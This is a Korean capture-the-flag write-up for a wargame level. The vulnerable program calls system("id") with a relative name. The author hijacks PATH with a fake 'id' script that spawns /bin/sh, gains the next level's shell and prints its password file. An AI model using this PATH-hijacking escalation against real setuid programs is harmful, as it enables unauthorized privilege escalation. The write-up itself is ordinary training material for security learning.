Level 4 문제 소스는 아래와 같다.
#include <stdlib.h>
int main() {
system("id");
return 0;
}
id를 실행시키는 간단한 소스다..
PATH 환경변수를 설정해서 우리가 직접 작성한 id를 실행시키면 쉘을 획득할 수 있을 것이다.
/tmp/by4 폴더에 id를 새로 작성하여 아래와 같이 공격을 시도 하였다.
level4@io:/tmp/by4$ env
TERM=linux
SHELL=/bin/bash
SSH_CLIENT=211.218.16.99 23923 22
OLDPWD=/tmp
SSH_TTY=/dev/pts/2
USER=level4
MAIL=/var/mail/level4
PATH=/usr/local/bin:/usr/bin:/bin:/usr/games
PWD=/tmp/by4
SHLVL=1
HOME=/home/level4
LOGNAME=level4
SSH_CONNECTION=211.218.16.99 23923 192.168.1.32 22
_=/usr/bin/env
level4@io:/tmp/by4$ export PATH=/tmp/by4:/usr/local/bin:/usr/bin:/bin:/usr/games
level4@io:/tmp/by4$ env
TERM=linux
SHELL=/bin/bash
SSH_CLIENT=211.218.16.99 23923 22
OLDPWD=/tmp
SSH_TTY=/dev/pts/2
USER=level4
MAIL=/var/mail/level4
PATH=/tmp/by4:/usr/local/bin:/usr/bin:/bin:/usr/games
PWD=/tmp/by4
SHLVL=1
HOME=/home/level4
LOGNAME=level4
SSH_CONNECTION=211.218.16.99 23923 192.168.1.32 22
_=/usr/bin/env
level4@io:/tmp/by4$ cat id
#!/usr/bin/python
import os
os.system('/bin/sh')
level4@io:/tmp/by4$ /levels/level04
sh-3.2$ cat /home/level5/.pass
wj9mttkm
sh-3.2$